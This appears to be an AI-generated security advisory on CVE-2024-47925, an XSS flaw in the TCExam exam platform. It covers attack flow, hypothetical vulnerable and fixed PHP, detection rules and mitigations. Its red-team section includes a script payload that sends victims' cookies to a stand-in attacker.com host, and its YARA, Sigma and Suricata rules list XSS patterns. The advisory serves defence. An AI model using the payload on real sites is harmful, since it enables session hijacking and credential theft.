CVE-2024-47925

Executive Summary

CVE-2024-47925 identifies multiple Cross-Site Scripting (XSS) vulnerabilities in Tecnick TCExam, an open-source online exam platform. The vulnerabilities stem from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript or HTML into the application. With a CVSS score of 7.5, this vulnerability is considered high severity. Successful exploitation could lead to session hijacking, credential theft, defacement, or redirection to malicious sites. As of this report, no official patch or exploit code is publicly available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, the lack of a patch makes this a significant risk for all deployments of TCExam.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a link or visit a crafted page.
• Scope (S): Changed (C) – Impact may extend beyond the vulnerable component.
• Confidentiality (C): High (H) – Potential for full data exposure.
• Integrity (I): High (H) – Potential for full data modification.
• Availability (A): High (H) – Potential for service disruption.

Threat Level: High. The combination of network exploitability, low complexity, and high impact makes this a critical risk for any organization using TCExam without proper input sanitization.

Deep Dive & Mechanics

The vulnerability is a classic stored or reflected Cross-Site Scripting (XSS) flaw. TCExam fails to properly sanitize user-controlled input before rendering it in web pages. This can occur in various fields such as exam questions, user profiles, or feedback forms. An attacker can inject malicious scripts (e.g., <script>alert('XSS')</script>) that execute in the context of the victim's browser.

Attack Flow:

1. Reconnaissance: Identify input fields in TCExam that are not sanitized (e.g., exam creation forms, user registration, feedback).
2. Craft Payload: Create a malicious JavaScript payload (e.g., to steal cookies, redirect to phishing site, or perform actions on behalf of the user).
3. Inject: Submit the payload via a vulnerable input field.
4. Trigger: When an administrator or other user views the page containing the payload, the script executes.
5. Exploit: The attacker can now perform actions such as session hijacking, data exfiltration, or defacement.

Root Cause: The application uses user input directly in HTML output without encoding or validation. For example, a field like $_POST['exam_title'] might be echoed directly into the page without using htmlspecialchars() or similar functions.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation.

Vulnerable Code (PHP example):

<?php
$exam_title = $_POST['exam_title'];
echo "<h1>$exam_title</h1>";
?>

Patched Code (PHP example):

<?php
$exam_title = htmlspecialchars($_POST['exam_title'], ENT_QUOTES, 'UTF-8');
echo "<h1>$exam_title</h1>";
?>

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install TCExam on a local server (e.g., XAMPP, LAMP).
2. Identify a vulnerable input field (e.g., exam creation form).
3. Use a browser or tool like Burp Suite to intercept and modify requests.

Exploitation Steps:

1. Navigate to the exam creation page.
2. In the "Exam Title" field, inject a payload:

   <script>alert('XSS')</script>
   

3. Submit the form.
4. When an admin views the exam list, the script executes.

Advanced Payload (Session Hijacking):

<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual characters in POST/GET parameters (e.g., <script>, onerror=, javascript:).
• Use WAF rules to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation and output encoding (e.g., htmlspecialchars() in PHP).
• Use a security scanner to identify vulnerable fields.
• Restrict user permissions to minimize impact.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script> tags in POST/GET parameters.
  • Outbound connections to unknown domains (potential data exfiltration).
• File IOCs:
  • Modified TCExam source files (e.g., added malicious code).
  • Suspicious entries in database fields (e.g., exam titles with JavaScript).
• Log IOCs:
  • Web server logs showing 200 responses to requests with XSS payloads.
  • Error logs with Refused to execute inline script (if CSP is enabled).

Detection Engineering

YARA Rule

rule CVE_2024_47925_XSS_TCExam {
    meta:
        description = "Detects XSS payloads in TCExam input fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-47925"
    strings:
        $xss1 = "<script"
        $xss2 = "onerror="
        $xss3 = "javascript:"
        $xss4 = "onload="
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: TCExam XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS attempts against TCExam
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin panels (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47925 TCExam XSS Attempt"; flow:to_server; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable vulnerable features: If possible, disable input fields that are not essential (e.g., exam creation by non-admin users).
2. Apply WAF rules: Use a Web Application Firewall to block XSS patterns.
3. Implement CSP: Add a Content Security Policy header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Long-term Fix:

• Patch: Await an official patch from Tecnick. Monitor their GitHub or website for updates.
• Code Audit: Review all input/output points in TCExam and apply proper encoding.
• Upgrade: Consider migrating to a supported alternative if no patch is released.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.